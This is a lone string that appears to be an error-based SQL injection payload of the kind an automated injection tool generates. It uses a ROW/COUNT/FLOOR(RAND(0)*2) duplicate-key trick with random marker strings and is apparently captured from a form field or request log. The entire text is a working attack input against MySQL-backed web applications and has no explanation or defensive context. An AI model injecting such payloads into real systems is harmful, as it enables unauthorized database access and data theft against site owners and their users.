atestu' AND ROW(4801,4802)>(SELECT COUNT(*),CONCAT('KsrfcCnk',(SELECT (CASE WHEN (4801=4801) THEN 1 ELSE 0 END)),'KsrfcCnk',FLOOR(RAND(0)*2))x FROM (SELECT 4803 UNION SELECT 4804 UNION SELECT 4805 UNION SELECT 4806)a GROUP BY x) AND 'KsrfcCnk'='KsrfcCnk